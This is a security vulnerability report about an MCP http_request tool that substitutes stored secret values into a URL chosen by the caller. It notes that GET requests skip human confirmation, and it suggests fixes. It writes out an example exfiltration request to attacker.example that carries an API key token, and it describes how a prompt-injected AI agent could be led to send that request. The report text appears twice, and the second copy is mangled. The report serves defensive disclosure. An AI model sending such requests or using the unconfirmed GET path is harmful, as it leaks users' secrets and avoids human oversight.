Summary
Secrets.Resolve() substitutes {{secrets.NAME}} placeholders with plaintext secret values
wherever it's called. mcp/tools/http_request.go applies this substitution to the url
parameter itself, not just headers/body — and url is fully caller-controlled. An MCP client
(including an AI agent that has been prompt-injected via untrusted content it processes) can
request:
action=get, url=https://attacker.example/collect?token={{secrets.API_KEY}}
and the real secret value will be sent to attacker.example.
Affected code
kernel/mcp/tools/http_request.go:
resolve := func(s string) string {
return conf.ResolveSecretsVars(model.Conf.Secrets, model.Conf.Variables, s)
}
rawURL = resolve(rawURL) // secrets interpolated into the destination itself
for k, v := range headers { headers[k] = resolve(v) }
body = resolve(body)
statusCode, contentType, text, err := util.HTTPRequest(action, rawURL, headers, body)
kernel/conf/secrets.go documents the intended threat model explicitly:
"Secrets 是全局密钥库...供智能体 http_request 工具...引用" / "secret plaintext only enters the
outbound request, not the LLM's context" — i.e. the design goal is that the agent can use a
secret without seeing it. Applying the same substitution to the destination URL defeats that
goal, since the destination is exactly the one parameter the agent chooses.
Why the existing SSRF guard doesn't mitigate this
util.HTTPRequest calls CheckHostSSRF(u.Hostname()) before sending, which blocks requests to
internal/private-network hosts. This is a real, separate control and does not restrict requests
to attacker-controlled public infrastructure, which is exactly what secret exfiltration
requires , an attacker doesn't need to reach an internal service, only their own server anywhere
on the public internet.
Why this requires no human review
Per the tool's own design comment, GET requests are in safeActions and bypass the
confirmation/write-snapshot UI that POST/PUT/DELETE/PATCH trigger. The exfiltration case
(a GET with the secret embedded in the query string) is exactly the case with the least friction.
Impact
Any secret stored in the global secret vault (kernel/conf/secrets.go — used for things like
API keys for gated services, per its own doc comment referencing "微信读书网关" / WeChat Reading
gateway-style authenticated APIs) can be exfiltrated to an attacker-controlled destination by
an MCP client capable of invoking this tool with an attacker-influenced URL, with no
confirmation prompt for the GET case.
Suggested fix
Do not interpolate {{secrets.*}} into the destination URL. Options: (a) restrict secret
interpolation to headers and body only, never the URL; (b) bind each secret to an explicit,
user-configured allowlist of hosts it may be sent to, and refuse interpolation (in any field)
when the resolved destination host isn't on that secret's allowlist; (c) require confirmation
for any request whose resolved URL/headers/body contain interpolated secret content, regardless
of HTTP method.
Summary
Secrets.Resolve()substitutes{{secrets.NAME}}placeholders with plaintext secret valueswherever it's called.
mcp/tools/http_request.goapplies this substitution to theurlparameter itself, not just headers/body — and
urlis fully caller-controlled. An MCP client(including an AI agent that has been prompt-injected via untrusted content it processes) can
request:
and the real secret value will be sent to attacker.example.
Affected code
kernel/mcp/tools/http_request.go:
kernel/conf/secrets.go documents the intended threat model explicitly:
"Secrets 是全局密钥库...供智能体 http_request 工具...引用" / "secret plaintext only enters the
outbound request, not the LLM's context" — i.e. the design goal is that the agent can use a
secret without seeing it. Applying the same substitution to the destination URL defeats that
goal, since the destination is exactly the one parameter the agent chooses.
Why the existing SSRF guard doesn't mitigate this
util.HTTPRequest calls CheckHostSSRF(u.Hostname()) before sending, which blocks requests to
internal/private-network hosts. This is a real, separate control and does not restrict requests
to attacker-controlled public infrastructure, which is exactly what secret exfiltration
requires , an attacker doesn't need to reach an internal service, only their own server anywhere
on the public internet.
Why this requires no human review
Per the tool's own design comment, GET requests are in
safeActionsand bypass theconfirmation/write-snapshot UI that POST/PUT/DELETE/PATCH trigger. The exfiltration case
(a GET with the secret embedded in the query string) is exactly the case with the least friction.
Impact
Any secret stored in the global secret vault (kernel/conf/secrets.go — used for things like
API keys for gated services, per its own doc comment referencing "微信读书网关" / WeChat Reading
gateway-style authenticated APIs) can be exfiltrated to an attacker-controlled destination by
an MCP client capable of invoking this tool with an attacker-influenced URL, with no
confirmation prompt for the GET case.
Suggested fix
Do not interpolate
{{secrets.*}}into the destination URL. Options: (a) restrict secretinterpolation to headers and body only, never the URL; (b) bind each secret to an explicit,
user-configured allowlist of hosts it may be sent to, and refuse interpolation (in any field)
when the resolved destination host isn't on that secret's allowlist; (c) require confirmation
for any request whose resolved URL/headers/body contain interpolated secret content, regardless
of HTTP method.